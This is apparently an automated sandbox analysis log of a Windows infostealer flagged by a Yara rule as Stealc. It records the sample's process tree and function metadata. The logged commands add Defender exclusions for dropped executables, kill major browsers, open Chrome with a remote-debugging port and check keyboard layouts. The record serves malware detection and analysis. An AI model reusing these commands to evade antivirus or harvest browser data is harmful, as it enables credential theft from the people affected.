Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"
Imagebase:	0x7ff7efa40000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:16:50
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:16:50
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE79C.tmp" "c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP"
Imagebase:	0x7ff665b40000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat"
Imagebase:	0x7ff718480000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:16:51
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:16:52
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:16:53
Start date:	16/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff78edc0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:16:53
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:16:53
Start date:	16/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	07:16:53
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:16:53
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2064,i,12420018661240836454,12296064884710189682,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:16:54
Start date:	16/12/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff75e280000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:16:56
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"
Imagebase:	0x770000
File size:	4'608 bytes
MD5 hash:	B5BFE8C3C0C05EA3AD5F7A52F11BE8D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:16:57
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Imagebase:	0x940000
File size:	1'961'984 bytes
MD5 hash:	0F91548CA49C64D6A8CD3846854F484C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:16:57
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe"
Imagebase:	0x180000
File size:	1'822'720 bytes
MD5 hash:	E328245A28E6A2CDB14BDE4D150A342E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002E.00000003.2725067964.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	07:16:57
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:16:57
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:16:58
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe"
Imagebase:	0xcd0000
File size:	2'850'304 bytes
MD5 hash:	EAD473718663D9F85A4D487F8343BF82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:17:00
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	07:17:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:17:02
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Imagebase:	0x1b0000
File size:	1'961'984 bytes
MD5 hash:	0F91548CA49C64D6A8CD3846854F484C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	07:17:06
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:17:06
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	07:17:06
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"
Imagebase:	0xb10000
File size:	969'728 bytes
MD5 hash:	F0367D03A91E16273B989532829233A6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	07:17:06
Start date:	16/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff605670000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	07:17:08
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	07:17:08
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	781
Total number of Limit Nodes:	21

Executed Functions

Function 00D1652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00D1652A,?,?,?,?,?,00D17661), ref: 00D16567

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 04b77367052975322121a0dfd01606a2eaf849a2bcbdae01c256f87f6c76e03e
Instruction ID: 1c8a814c06a79726444fa55902d7ac1b593304da965b53ce0f66440d30632f0c
Opcode Fuzzy Hash: 04b77367052975322121a0dfd01606a2eaf849a2bcbdae01c256f87f6c76e03e
Instruction Fuzzy Hash: D5E08C30101209BFCE357B98E80DE983B2AEB82741F441800FD1846272CF35EDC2C6A0

Function 05550BEF Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1593926721.0000000005550000.00000040.00001000.00020000.00000000.sdmp, Offset: 05550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472560da7783675ef106436d877ddcf111b60de4b844cc7888382dde9f5efe36
Instruction ID: 377ebd3adb078f912df92293c6a615233502e08c3790261728da1eb2764bc096
Opcode Fuzzy Hash: 472560da7783675ef106436d877ddcf111b60de4b844cc7888382dde9f5efe36
Instruction Fuzzy Hash: C2113CEB18C114BD6142C5926B3CABBA7AFF5D77303308827FD07CA5A2E2944A5D52B1

Function 00CE5C10 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q4]2, xrefs: 00CE5DB8, 00CE5E00, 00CE5DC5, 00CE5EE0
Keyboard Layout\Preload, xrefs: 00CE6054
q4]2, xrefs: 00CE59F4, 00CE5C24, 00CE5D67, 00CE5EE6, 00CE603B, 00CE65F7
00000423, xrefs: 00CE60FA
0000043f, xrefs: 00CE612B
00000419, xrefs: 00CE6098
00000422, xrefs: 00CE60C9

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$q4]2$q4]2
API String ID: 0-1843944790
Opcode ID: edf7f0cb890527fa3c1125c3f8abfa60941efa811bd0816512cb1e3b16775de8
Instruction ID: 55a0e597bc109ca675f8fbaca6beb9b01ec35ef5f7b920ef80ad5128c2fb316b
Opcode Fuzzy Hash: edf7f0cb890527fa3c1125c3f8abfa60941efa811bd0816512cb1e3b16775de8
Instruction Fuzzy Hash: 7BF1E170A0025C9FEB24DF54CC85BEEBBB9EB45304F5046A8F508A72C1DB759A84CFA5

Function 00CED590 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 453
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CF7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00CF7AEC
Part of subcall function 00CF7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00CF7AF8
Part of subcall function 00CF7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00CF7B01

Part of subcall function 00CE87B0: GetFileAttributesA.KERNEL32(?,00CEDA1D,?,?,?,?), ref: 00CE87B9

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?), ref: 00CEDA2F

Strings

q4]2, xrefs: 00CED5A5, 00CED6FB

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
